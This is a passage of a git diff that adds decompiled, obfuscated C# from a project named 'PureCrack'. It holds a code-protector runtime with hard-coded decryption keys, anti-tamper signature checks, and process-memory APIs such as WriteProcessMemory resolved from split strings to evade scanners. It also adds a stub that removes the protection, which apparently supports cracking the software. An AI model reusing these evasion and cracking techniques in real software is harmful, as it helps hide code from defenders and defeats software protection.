143; + obj4[8] = 94; + obj4[8] = 203; + obj4[9] = 128; + obj4[9] = 137; + obj4[9] = 136; + obj4[9] = 138; + obj4[9] = 15; + obj4[10] = 106; + obj4[10] = 115; + obj4[10] = 96; + obj4[10] = 89; + obj4[10] = 131; + obj4[10] = 250; + obj4[11] = 128; + obj4[11] = 160; + obj4[11] = 143; + obj4[11] = 164; + obj4[12] = 95; + obj4[12] = 164; + obj4[12] = 154; + obj4[12] = 57; + obj4[13] = 104; + obj4[13] = 169; + obj4[13] = 99; + obj4[13] = 94; + obj4[14] = 112; + obj4[14] = 133; + obj4[14] = 140; + obj4[14] = 107; + obj4[15] = 139; + obj4[15] = 128; + obj4[15] = 93; + obj4[15] = 166; + obj4[15] = 170; + byte[] rgbIV = obj4; + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Mode = CipherMode.CBC; + ICryptoTransform transform = symmetricAlgorithm.CreateDecryptor(rgbKey, rgbIV); + MemoryStream obj5 = (MemoryStream)Class12.smethod_28(); + CryptoStream cryptoStream = new CryptoStream(obj5, transform, CryptoStreamMode.Write); + cryptoStream.Write(obj2, 0, obj2.Length); + cryptoStream.FlushFinalBlock(); + Class12.rsacryptoServiceProvider_0.FromXmlString(Encoding.UTF8.GetString(Class12.smethod_29(obj5))); + obj5.Close(); + cryptoStream.Close(); + @class.method_4(); + } + catch + { + flag = true; + } + if (!flag) + { + BinaryReader obj6 = null; + try + { + FileStream obj7 = new FileStream(location, FileMode.Open, FileAccess.Read, FileShare.Read); + obj6 = new BinaryReader(obj7); + byte[] obj8 = new byte[65536]; + Class12.smethod_9(obj, obj7, 152U, obj8); + bool flag2 = obj6.ReadUInt16() != 523; + int num = flag2 ? 96 : 112; + obj7.Position = 152L; + obj7.Read(obj8, 0, num); + obj8[64] = 0; + obj8[65] = 0; + obj8[66] = 0; + obj8[67] = 0; + Class12.smethod_10(obj, obj8, 0, num); + obj7.Read(obj8, 0, 128); + obj8[32] = 0; + obj8[33] = 0; + obj8[34] = 0; + obj8[35] = 0; + obj8[36] = 0; + obj8[37] = 0; + obj8[38] = 0; + obj8[39] = 0; + Class12.smethod_10(obj, obj8, 0, 128); + long position = obj7.Position; + obj7.Position = 134L; + int num2 = (int)obj6.ReadUInt16(); + obj7.Position = position; + Class12.smethod_9(obj, obj7, (uint)(num2 * 40), obj8); + long position2 = obj7.Position; + if (flag2) + { + obj7.Position = 360L; + } + else + { + obj7.Position = 376L; + } + uint num3 = Class12.smethod_11(obj6.ReadUInt32(), num2, position, obj6); + obj7.Position = (long)((ulong)(num3 + 32U)); + uint uint_ = obj6.ReadUInt32(); + uint num4 = obj6.ReadUInt32(); + long num5 = (long)((ulong)Class12.smethod_11(uint_, num2, position, obj6)); + long num6 = num5 + (long)((ulong)num4); + obj7.Position = position2; + for (int i = 0; i < num2; i++) + { + obj7.Position = position + (long)(i * 40) + 16L; + uint num7 = obj6.ReadUInt32(); + uint num8 = obj6.ReadUInt32(); + obj7.Position = (long)((ulong)num8); + while (num7 > 0U) + { + long position3 = obj7.Position; + if (num5 > position3 || position3 >= num6) + { + if (position3 >= num6) + { + Class12.smethod_9(obj, obj7, num7, obj8); + break; + } + uint num9 = (uint)Math.Min(num5 - position3, (long)((ulong)num7)); + Class12.smethod_9(obj, obj7, num9, obj8); + num7 -= num9; + } + else + { + uint num10 = (uint)(num6 - position3); + if (num10 >= num7) + { + break; + } + num7 -= num10; + obj7.Position += (long)((ulong)num10); + } + } + } + obj.TransformFinalBlock(new byte[0], 0, 0); + obj7.Position = num5; + byte[] obj9 = obj6.ReadBytes((int)num4); + Array.Reverse(obj9); + flag = !Class12.rsacryptoServiceProvider_0.VerifyHash(obj.Hash, str, obj9); + } + catch + { + flag = true; + } + try + { + if (obj6 != null) + { + obj6.Close(); + } + } + catch + { + } + } + if (flag) + { + throw new Exception(typeof(Class12).Assembly.GetName().Name + " "); + } + flag = false; + } + IL_37: + Class12.Class15 class2 = new Class12.Class15(stream_0); + class2.method_0().Position = 0L; + byte[] obj10 = class2.method_1((int)class2.method_0().Length); + class2.method_4(); + byte[] obj11 = new byte[32]; + obj11[0] = 135; + obj11[0] = 19; + obj11[0] = 79; + obj11[0] = 50; + obj11[1] = 116; + obj11[1] = 94; + obj11[1] = 102; + obj11[1] = 231; + obj11[2] = 127; + obj11[2] = 136; + obj11[2] = 108; + obj11[2] = 129; + obj11[2] = 120; + obj11[2] = 168; + obj11[3] = 167; + obj11[3] = 107; + obj11[3] = 159; + obj11[3] = 121; + obj11[3] = 144; + obj11[4] = 88; + obj11[4] = 87; + obj11[4] = 241; + obj11[5] = 49; + obj11[5] = 91; + obj11[5] = 12; + obj11[6] = 161; + obj11[6] = 86; + obj11[6] = 116; + obj11[6] = 45; + obj11[6] = 136; + obj11[7] = 160; + obj11[7] = 135; + obj11[7] = 147; + obj11[7] = 151; + obj11[7] = 118; + obj11[8] = 77; + obj11[8] = 151; + obj11[8] = 167; + obj11[9] = 112; + obj11[9] = 106; + obj11[9] = 88; + obj11[9] = 105; + obj11[9] = 192; + obj11[10] = 150; + obj11[10] = 129; + obj11[10] = 52; + obj11[10] = 182; + obj11[11] = 33; + obj11[11] = 157; + obj11[11] = 119; + obj11[11] = 185; + obj11[11] = 94; + obj11[11] = 104; + obj11[12] = 124; + obj11[12] = 103; + obj11[12] = 115; + obj11[13] = 108; + obj11[13] = 122; + obj11[13] = 122; + obj11[13] = 128; + obj11[13] = 97; + obj11[13] = 0; + obj11[14] = 86; + obj11[14] = 110; + obj11[14] = 109; + obj11[14] = 116; + obj11[14] = 103; + obj11[14] = 21; + obj11[15] = 85; + obj11[15] = 131; + obj11[15] = 112; + obj11[15] = 86; + obj11[15] = 158; + obj11[15] = 44; + obj11[16] = 110; + obj11[16] = 122; + obj11[16] = 96; + obj11[16] = 174; + obj11[17] = 118; + obj11[17] = 153; + obj11[17] = 212; + obj11[17] = 131; + obj11[18] = 95; + obj11[18] = 81; + obj11[18] = 13; + obj11[19] = 128; + obj11[19] = 101; + obj11[19] = 169; + obj11[19] = 210; + obj11[20] = 141; + obj11[20] = 135; + obj11[20] = 205; + obj11[21] = 118; + obj11[21] = 202; + obj11[21] = 80; + obj11[21] = 144; + obj11[21] = 156; + obj11[21] = 101; + obj11[22] = 148; + obj11[22] = 108; + obj11[22] = 155; + obj11[22] = 108; + obj11[22] = 48; + obj11[23] = 133; + obj11[23] = 160; + obj11[23] = 1; + obj11[24] = 130; + obj11[24] = 102; + obj11[24] = 103; + obj11[24] = 94; + obj11[24] = 166; + obj11[25] = 135; + obj11[25] = 203; + obj11[25] = 149; + obj11[26] = 126; + obj11[26] = 104; + obj11[26] = 155; + obj11[26] = 158; + obj11[26] = 79; + obj11[26] = 11; + obj11[27] = 66; + obj11[27] = 94; + obj11[27] = 57; + obj11[28] = 78; + obj11[28] = 144; + obj11[28] = 78; + obj11[29] = 166; + obj11[29] = 16; + obj11[29] = 197; + obj11[30] = 180; + obj11[30] = 194; + obj11[30] = 167; + obj11[30] = 149; + obj11[30] = 222; + obj11[31] = 130; + obj11[31] = 138; + obj11[31] = 190; + byte[] obj12 = obj11; + byte[] obj13 = new byte[16]; + obj13[0] = 117; + obj13[0] = 166; + obj13[0] = 114; + obj13[0] = 238; + obj13[1] = 105; + obj13[1] = 133; + obj13[1] = 169; + obj13[1] = 103; + obj13[1] = 202; + obj13[2] = 91; + obj13[2] = 115; + obj13[2] = 138; + obj13[2] = 108; + obj13[3] = 107; + obj13[3] = 128; + obj13[3] = 116; + obj13[3] = 92; + obj13[3] = 211; + obj13[4] = 90; + obj13[4] = 39; + obj13[4] = 157; + obj13[4] = 96; + obj13[4] = 84; + obj13[4] = 10; + obj13[5] = 186; + obj13[5] = 73; + obj13[5] = 168; + obj13[5] = 147; + obj13[5] = 170; + obj13[5] = 43; + obj13[6] = 155; + obj13[6] = 145; + obj13[6] = 225; + obj13[7] = 62; + obj13[7] = 103; + obj13[7] = 234; + obj13[8] = 166; + obj13[8] = 164; + obj13[8] = 233; + obj13[9] = 140; + obj13[9] = 140; + obj13[9] = 149; + obj13[9] = 163; + obj13[9] = 111; + obj13[9] = 81; + obj13[10] = 147; + obj13[10] = 61; + obj13[10] = 158; + obj13[10] = 123; + obj13[10] = 213; + obj13[11] = 58; + obj13[11] = 69; + obj13[11] = 84; + obj13[11] = 69; + obj13[11] = 192; + obj13[11] = 228; + obj13[12] = 147; + obj13[12] = 148; + obj13[12] = 176; + obj13[13] = 24; + obj13[13] = 160; + obj13[13] = 160; + obj13[13] = 47; + obj13[13] = 234; + obj13[14] = 133; + obj13[14] = 184; + obj13[14] = 127; + obj13[14] = 153; + obj13[14] = 136; + obj13[14] = 178; + obj13[15] = 125; + obj13[15] = 87; + obj13[15] = 138; + obj13[15] = 137; + obj13[15] = 65; + byte[] obj14 = obj13; + Array.Reverse(obj14); + byte[] publicKeyToken = Class12.assembly_0.GetName().GetPublicKeyToken(); + if (publicKeyToken != null && publicKeyToken.Length != 0) + { + obj14[1] = publicKeyToken[0]; + obj14[3] = publicKeyToken[1]; + obj14[5] = publicKeyToken[2]; + obj14[7] = publicKeyToken[3]; + obj14[9] = publicKeyToken[4]; + obj14[11] = publicKeyToken[5]; + obj14[13] = publicKeyToken[6]; + obj14[15] = publicKeyToken[7]; + } + for (int j = 0; j < obj14.Length; j++) + { + obj12[j] ^= obj14[j]; + } + if (int_6 == -1) + { + SymmetricAlgorithm symmetricAlgorithm2 = Class12.smethod_6(); + symmetricAlgorithm2.Mode = CipherMode.CBC; + ICryptoTransform transform2 = symmetricAlgorithm2.CreateDecryptor(obj12, obj14); + MemoryStream obj15 = (MemoryStream)Class12.smethod_28(); + CryptoStream cryptoStream2 = new CryptoStream(obj15, transform2, CryptoStreamMode.Write); + cryptoStream2.Write(obj10, 0, obj10.Length); + cryptoStream2.FlushFinalBlock(); + Class12.byte_1 = Class12.smethod_29(obj15); + obj15.Close(); + cryptoStream2.Close(); + obj10 = Class12.byte_1; + } + if (Class12.assembly_0.EntryPoint == null) + { + Class12.int_2 = 80; + } + new Class12().method_1(obj12, obj14, obj10); + } + + // Token: 0x06000785 RID: 1925 RVA: 0x00022F14 File Offset: 0x00021114 + internal static string smethod_15(int int_6) + { + if (Class12.byte_1.Length == 0) + { + Class12.list_1 = new List(); + Class12.list_0 = new List(); + Class12.smethod_14(Class12.assembly_0.GetManifestResourceStream("cF1CKXVABfDQdYtCqN.pBbXk1dNJ3P1w5SAwQ"), int_6); + } + if (Class12.int_2 < 75) + { + MethodBase method = new StackFrame(1).GetMethod(); + if (Class12.assembly_0 != method.DeclaringType.Assembly) + { + bool flag = false; + string name = method.DeclaringType.Assembly.GetName().Name; + foreach (AssemblyName assemblyName in Class12.assembly_0.GetReferencedAssemblies()) + { + if (name == assemblyName.Name) + { + flag = true; + break; + } + } + if (!flag) + { + throw new Exception(); + } + } + Class12.int_2++; + } + object obj = Class12.object_2; + string result; + lock (obj) + { + int num = BitConverter.ToInt32(Class12.byte_1, int_6); + if (num >= Class12.list_0.Count || Class12.list_0[num] != int_6) + { + try + { + byte[] array = new byte[num]; + Array.Copy(Class12.byte_1, int_6 + 4, array, 0, num); + string @string = Encoding.Unicode.GetString(array, 0, array.Length); + Class12.list_1.Add(@string); + Class12.list_0.Add(int_6); + Array.Copy(BitConverter.GetBytes(Class12.list_1.Count - 1), 0, Class12.byte_1, int_6, 4); + return @string; + } + catch + { + goto IL_192; + } + } + result = Class12.list_1[num]; + } + return result; + IL_192: + return ""; + } + + // Token: 0x06000786 RID: 1926 RVA: 0x000230D4 File Offset: 0x000212D4 + internal static string smethod_16(string string_1) + { + "Nc3moHiXdmi63CytJ".Trim(); + byte[] array = Convert.FromBase64String(string_1); + return Encoding.Unicode.GetString(array, 0, array.Length); + } + + // Token: 0x06000787 RID: 1927 RVA: 0x00023104 File Offset: 0x00021304 + private static void smethod_17() + { + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + // Token: 0x06000788 RID: 1928 RVA: 0x0002312C File Offset: 0x0002132C + private static Delegate smethod_18(IntPtr intptr_4, Type type_0) + { + return (Delegate)typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] + { + typeof(IntPtr), + typeof(Type) + }).Invoke(null, new object[] + { + intptr_4, + type_0 + }); + } + + // Token: 0x06000789 RID: 1929 RVA: 0x00023190 File Offset: 0x00021390 + internal static object smethod_19(Assembly assembly_1) + { + object location; + try + { + if (!File.Exists(((Assembly)assembly_1).Location)) + { + goto IL_27; + } + location = ((Assembly)assembly_1).Location; + } + catch + { + goto IL_27; + } + return location; + IL_27: + try + { + if (File.Exists(((Assembly)assembly_1).GetName().CodeBase.ToString().Replace("file:///", ""))) + { + return ((Assembly)assembly_1).GetName().CodeBase.ToString().Replace("file:///", ""); + } + } + catch + { + } + try + { + if (File.Exists(assembly_1.GetType().GetProperty("Location").GetValue(assembly_1, new object[0]).ToString())) + { + return assembly_1.GetType().GetProperty("Location").GetValue(assembly_1, new object[0]).ToString(); + } + } + catch + { + } + return ""; + } + + // Token: 0x0600078A RID: 1930 + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string string_1); + + // Token: 0x0600078B RID: 1931 + [DllImport("kernel32", CharSet = CharSet.Ansi)] + public static extern IntPtr GetProcAddress(IntPtr intptr_4, string string_1); + + // Token: 0x0600078C RID: 1932 RVA: 0x000232A0 File Offset: 0x000214A0 + private static IntPtr smethod_20(IntPtr intptr_4, string string_1, uint uint_1) + { + if (Class12.delegate4_0 == null) + { + Class12.delegate4_0 = (Class12.Delegate4)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Find ".Trim() + "ResourceA"), typeof(Class12.Delegate4)); + } + return Class12.delegate4_0(intptr_4, string_1, uint_1); + } + + // Token: 0x0600078D RID: 1933 RVA: 0x000232FC File Offset: 0x000214FC + private static IntPtr smethod_21(IntPtr intptr_4, uint uint_1, uint uint_2, uint uint_3) + { + if (Class12.delegate5_0 == null) + { + Class12.delegate5_0 = (Class12.Delegate5)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Virtual ".Trim() + "Alloc"), typeof(Class12.Delegate5)); + } + return Class12.delegate5_0(intptr_4, uint_1, uint_2, uint_3); + } + + // Token: 0x0600078E RID: 1934 RVA: 0x00023358 File Offset: 0x00021558 + private static int smethod_22(IntPtr intptr_4, IntPtr intptr_5, [In] [Out] byte[] byte_2, uint uint_1, out IntPtr intptr_6) + { + if (Class12.delegate6_0 == null) + { + Class12.delegate6_0 = (Class12.Delegate6)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Write ".Trim() + "Process ".Trim() + "Memory"), typeof(Class12.Delegate6)); + } + return Class12.delegate6_0(intptr_4, intptr_5, byte_2, uint_1, out intptr_6); + } + + // Token: 0x0600078F RID: 1935 RVA: 0x000233C0 File Offset: 0x000215C0 + private static int smethod_23(IntPtr intptr_4, int int_6, int int_7, ref int int_8) + { + if (Class12.delegate7_0 == null) + { + Class12.delegate7_0 = (Class12.Delegate7)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Virtual ".Trim() + "Protect"), typeof(Class12.Delegate7)); + } + return Class12.delegate7_0(intptr_4, int_6, int_7, ref int_8); + } + + // Token: 0x06000790 RID: 1936 RVA: 0x0002341C File Offset: 0x0002161C + private static IntPtr smethod_24(uint uint_1, int int_6, uint uint_2) + { + if (Class12.delegate8_0 == null) + { + Class12.delegate8_0 = (Class12.Delegate8)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Open ".Trim() + "Process"), typeof(Class12.Delegate8)); + } + return Class12.delegate8_0(uint_1, int_6, uint_2); + } + + // Token: 0x06000791 RID: 1937 RVA: 0x00023478 File Offset: 0x00021678 + private static int smethod_25(IntPtr intptr_4) + { + if (Class12.delegate9_0 == null) + { + Class12.delegate9_0 = (Class12.Delegate9)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Close ".Trim() + "Handle"), typeof(Class12.Delegate9)); + } + return Class12.delegate9_0(intptr_4); + } + + // Token: 0x06000792 RID: 1938 RVA: 0x000069EC File Offset: 0x00004BEC + private static IntPtr smethod_26() + { + if (Class12.intptr_0 == IntPtr.Zero) + { + Class12.intptr_0 = Class12.LoadLibrary("kernel ".Trim() + "32.dll"); + } + return Class12.intptr_0; + } + + // Token: 0x06000793 RID: 1939 RVA: 0x000234D0 File Offset: 0x000216D0 + private static byte[] smethod_27(string string_1) + { + byte[] array; + using (FileStream fileStream = new FileStream(string_1, FileMode.Open, FileAccess.Read, FileShare.Read)) + { + int num = 0; + int i = (int)fileStream.Length; + array = new byte[i]; + while (i > 0) + { + int num2 = fileStream.Read(array, num, i); + num += num2; + i -= num2; + } + } + return array; + } + + // Token: 0x06000794 RID: 1940 RVA: 0x00002A52 File Offset: 0x00000C52 + internal static Stream smethod_28() + { + return new MemoryStream(); + } + + // Token: 0x06000795 RID: 1941 RVA: 0x00006A22 File Offset: 0x00004C22 + internal static byte[] smethod_29(MemoryStream memoryStream_0) + { + return ((MemoryStream)memoryStream_0).ToArray(); + } + + // Token: 0x06000796 RID: 1942 RVA: 0x00023530 File Offset: 0x00021730 + private static byte[] smethod_30(byte[] byte_2) + { + Stream stream = Class12.smethod_28(); + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Key = new byte[] + { + 115, + 253, + 238, + 247, + 59, + 201, + 84, + 132, + 125, + 139, + 169, + 228, + 18, + 140, + 51, + 46, + 108, + 194, + 133, + 228, + 243, + 110, + 123, + 147, + 96, + 244, + 29, + 118, + 147, + 140, + 153, + 159 + }; + symmetricAlgorithm.IV = new byte[] + { + 29, + 149, + 96, + 240, + 130, + 80, + 126, + 97, + 146, + 93, + 96, + 30, + 203, + 100, + 3, + 46 + }; + CryptoStream cryptoStream = new CryptoStream(stream, symmetricAlgorithm.CreateDecryptor(), CryptoStreamMode.Write); + cryptoStream.Write(byte_2, 0, byte_2.Length); + cryptoStream.Close(); + return Class12.smethod_29((MemoryStream)stream); + } + + // Token: 0x06000797 RID: 1943 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_2() + { + return null; + } + + // Token: 0x06000798 RID: 1944 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_3() + { + return null; + } + + // Token: 0x06000799 RID: 1945 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_4() + { + return null; + } + + // Token: 0x0600079A RID: 1946 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_5() + { + return null; + } + + // Token: 0x0600079B RID: 1947 RVA: 0x00006A2F File Offset: 0x00004C2F + private byte[] method_6() + { + int length = "LPdkgRgUfpysKUP".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079C RID: 1948 RVA: 0x00006A4A File Offset: 0x00004C4A + private byte[] method_7() + { + int length = "3QabmT60gjn4DmfTf".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079D RID: 1949 RVA: 0x00006A65 File Offset: 0x00004C65 + internal byte[] method_8() + { + int length = "C2kks3heUw0hSNw".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079E RID: 1950 RVA: 0x00006A80 File Offset: 0x00004C80 + internal byte[] method_9() + { + int length = "1u7PmTcanmOAbJby7".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079F RID: 1951 RVA: 0x00005A47 File Offset: 0x00003C47 + internal byte[] method_10() + { + return null; + } + + // Token: 0x060007A0 RID: 1952 RVA: 0x00005A47 File Offset: 0x00003C47 + internal byte[] method_11() + { + return null; + } + + // Token: 0x060007A1 RID: 1953 RVA: 0x00006A9B File Offset: 0x00004C9B + internal static bool smethod_31() + { + return null == null; + } + + // Token: 0x060007A2 RID: 1954 RVA: 0x000022D0 File Offset: 0x000004D0 + internal static void smethod_32() + { + } + + // Token: 0x060007A3 RID: 1955 RVA: 0x00006A9B File Offset: 0x00004C9B + internal static bool smethod_33() + { + return null == null; + } + + // Token: 0x040002FF RID: 767 + private static byte[] byte_0; + + // Token: 0x04000300 RID: 768 + private static SortedList sortedList_0; + + // Token: 0x04000301 RID: 769 + internal static object object_0; + + // Token: 0x04000302 RID: 770 + [Class12.Attribute1(typeof(Class12.Attribute1.Class13[]))] + private static bool bool_0; + + // Token: 0x04000303 RID: 771 + private static long long_0; + + // Token: 0x04000304 RID: 772 + private static bool bool_1; + + // Token: 0x04000305 RID: 773 + private static Class12.Delegate6 delegate6_0; + + // Token: 0x04000306 RID: 774 + private static long long_1; + + // Token: 0x04000307 RID: 775 + private static IntPtr intptr_0; + + // Token: 0x04000308 RID: 776 + private static bool fQgAnroQoI; + + // Token: 0x04000309 RID: 777 + internal static RSACryptoServiceProvider rsacryptoServiceProvider_0; + + // Token: 0x0400030A RID: 778 + private static bool bool_2; + + // Token: 0x0400030B RID: 779 + private static Class12.Delegate8 delegate8_0; + + // Token: 0x0400030C RID: 780 + internal static object object_1; + + // Token: 0x0400030D RID: 781 + private static int int_0; + + // Token: 0x0400030E RID: 782 + private static Class12.Delegate7 delegate7_0; + + // Token: 0x0400030F RID: 783 + private static IntPtr intptr_1; + + // Token: 0x04000310 RID: 784 + private static object object_2; + + // Token: 0x04000311 RID: 785 + private static uint[] uint_0; + + // Token: 0x04000312 RID: 786 + private static IntPtr intptr_2; + + // Token: 0x04000313 RID: 787 + private static string[] string_0; + + // Token: 0x04000314 RID: 788 + internal static Hashtable hashtable_0; + + // Token: 0x04000315 RID: 789 + private static Class12.Delegate9 delegate9_0; + + // Token: 0x04000316 RID: 790 + private static bool bool_3; + + // Token: 0x04000317 RID: 791 + private static List list_0; + + // Token: 0x04000318 RID: 792 + private static int int_1; + + // Token: 0x04000319 RID: 793 + private static object object_3; + + // Token: 0x0400031A RID: 794 + private static IntPtr intptr_3; + + // Token: 0x0400031B RID: 795 + private static byte[] byte_1; + + // Token: 0x0400031C RID: 796 + private static Dictionary dictionary_0; + + // Token: 0x0400031D RID: 797 + internal static Assembly assembly_0; + + // Token: 0x0400031E RID: 798 + private static int int_2; + + // Token: 0x0400031F RID: 799 + private static List list_1; + + // Token: 0x04000320 RID: 800 + private static Class12.Delegate5 delegate5_0; + + // Token: 0x04000321 RID: 801 + private static Class12.Delegate4 delegate4_0; + + // Token: 0x04000322 RID: 802 + private static int int_3; + + // Token: 0x04000323 RID: 803 + private static bool bool_4; + + // Token: 0x04000324 RID: 804 + private static int[] int_4; + + // Token: 0x04000325 RID: 805 + private static bool bool_5; + + // Token: 0x04000326 RID: 806 + private static int int_5; + + // Token: 0x020000C0 RID: 192 + // (Invoke) Token: 0x060007A5 RID: 1957 + private delegate void Delegate1(object o); + + // Token: 0x020000C1 RID: 193 + internal class Attribute1 : Attribute + { + // Token: 0x060007A8 RID: 1960 RVA: 0x00002977 File Offset: 0x00000B77 + public Attribute1(object object_0) + { + } + + // Token: 0x060007A9 RID: 1961 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Attribute1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x020000C2 RID: 194 + internal class Class13 + { + // Token: 0x060007AB RID: 1963 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class13() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060007AC RID: 1964 RVA: 0x00006AA1 File Offset: 0x00004CA1 + internal static bool smethod_0() + { + return Class12.Attribute1.Class13.object_0 == null; + } + + // Token: 0x04000327 RID: 807 + internal static object object_0; + } + } + + // Token: 0x020000C3 RID: 195 + internal class Class14 + { + // Token: 0x060007AD RID: 1965 RVA: 0x0002359C File Offset: 0x0002179C + internal static string smethod_0(string string_0, string string_1) + { + byte[] bytes = Encoding.Unicode.GetBytes(string_0); + byte[] key = new byte[] + { + 82, + 102, + 104, + 110, + 32, + 77, + 24, + 34, + 118, + 181, + 51, + 17, + 18, + 51, + 12, + 109, + 10, + 32, + 77, + 24, + 34, + 158, + 161, + 41, + 97, + 28, + 118, + 181, + 5, + 25, + 1, + 88 + }; + byte[] iv = Class12.smethod_8(Encoding.Unicode.GetBytes(string_1)); + MemoryStream memoryStream = new MemoryStream(); + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Key = key; + symmetricAlgorithm.IV = iv; + CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); + cryptoStream.Write(bytes, 0, bytes.Length); + cryptoStream.Close(); + return Convert.ToBase64String(memoryStream.ToArray()); + } + + // Token: 0x060007AF RID: 1967 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class14() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + } + + // Token: 0x020000C4 RID: 196 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + internal delegate uint Delegate2(IntPtr classthis, IntPtr comp, IntPtr info, uint flags, IntPtr nativeEntry, ref uint nativeSizeOfCode); + + // Token: 0x020000C5 RID: 197 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate3(); + + // Token: 0x020000C6 RID: 198 + internal struct Struct1 + { + // Token: 0x04000328 RID: 808 + internal bool bool_0; + + // Token: 0x04000329 RID: 809 + internal byte[] byte_0; + } + + // Token: 0x020000C7 RID: 199 + internal class Class15 + { + // Token: 0x060007BA RID: 1978 RVA: 0x00006AAB File Offset: 0x00004CAB + public Class15(Stream stream_0) + { + this.binaryReader_0 = new BinaryReader(stream_0); + } + + // Token: 0x060007BB RID: 1979 RVA: 0x00006ABF File Offset: 0x00004CBF + internal Stream method_0() + { + return this.binaryReader_0.BaseStream; + } + + // Token: 0x060007BC RID: 1980 RVA: 0x00006ACC File Offset: 0x00004CCC + internal byte[] method_1(int int_0) + { + return this.binaryReader_0.ReadBytes(int_0); + } + + // Token: 0x060007BD RID: 1981 RVA: 0x00006ADA File Offset: 0x00004CDA + internal int method_2(byte[] byte_0, int int_0, int int_1) + { + return this.binaryReader_0.Read(byte_0, int_0, int_1); + } + + // Token: 0x060007BE RID: 1982 RVA: 0x00006AEA File Offset: 0x00004CEA + internal int method_3() + { + return this.binaryReader_0.ReadInt32(); + } + + // Token: 0x060007BF RID: 1983 RVA: 0x00006AF7 File Offset: 0x00004CF7 + internal void method_4() + { + this.binaryReader_0.Close(); + } + + // Token: 0x060007C0 RID: 1984 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class15() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0400032A RID: 810 + private BinaryReader binaryReader_0; + } + + // Token: 0x020000C8 RID: 200 + [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] + private delegate IntPtr Delegate4(IntPtr hModule, string lpName, uint lpType); + + // Token: 0x020000C9 RID: 201 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate5(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + // Token: 0x020000CA RID: 202 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate6(IntPtr hProcess, IntPtr lpBaseAddress, [In] [Out] byte[] buffer, uint size, out IntPtr lpNumberOfBytesWritten); + + // Token: 0x020000CB RID: 203 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate7(IntPtr lpAddress, int dwSize, int flNewProtect, ref int lpflOldProtect); + + // Token: 0x020000CC RID: 204 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate8(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId); + + // Token: 0x020000CD RID: 205 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate9(IntPtr ptr); + + // Token: 0x020000CE RID: 206 + [Flags] + private enum Enum1 + { + + } +} diff --git a/decompiled/PureCrack.assets.inner.Class16.cs b/decompiled/PureCrack.assets.inner.Class16.cs new file mode 100644 index 0000000..7525bd3 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class16.cs @@ -0,0 +1,17 @@ +using System; + +// Stub replacement for .NET Reactor runtime (Class16) +// The original loaded protobuf-net from an encrypted embedded resource. +// When compiling from source, protobuf-net.dll is referenced directly. +internal class Class16 +{ + internal static void kLjw4iIsCLsZtxc4lksN0j() + { + // No-op: protobuf-net is referenced directly + } + + internal static bool smethod_3() + { + return true; + } +} diff --git a/decompiled/PureCrack.assets.inner.Class2.cs b/decompiled/PureCrack.assets.inner.Class2.cs new file mode 100644 index 0000000..c1edf6e --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class2.cs @@ -0,0 +1,117 @@ +using System; +using System.Linq; +using System.Threading; + +// Token: 0x02000007 RID: 7 +internal class Class2 +{ + // Token: 0x06000018 RID: 24 RVA: 0x00006E18 File Offset: 0x00005018 + internal void method_0(GClass2 gclass2_0) + { + try + { + if (gclass2_0 != null) + { + if (gclass2_0 is GClass8) + { + int int32_ = Interlocked.CompareExchange(ref Class9.int_1, 0, 0); + try + { + Timer timer_ = Class9.timer_1; + if (timer_ != null) + { + timer_.Dispose(); + } + } + catch + { + } + Class9.h(new GClass8 + { + HasValue = true, + Int32_0 = int32_, + String_1 = Class3.smethod_2(), + String_0 = Class3.d(), + Byte_0 = Class4.i(60) + }); + try + { + Interlocked.Exchange(ref Class9.int_1, 0); + } + catch + { + } + } + else + { + GClass3 gclass = 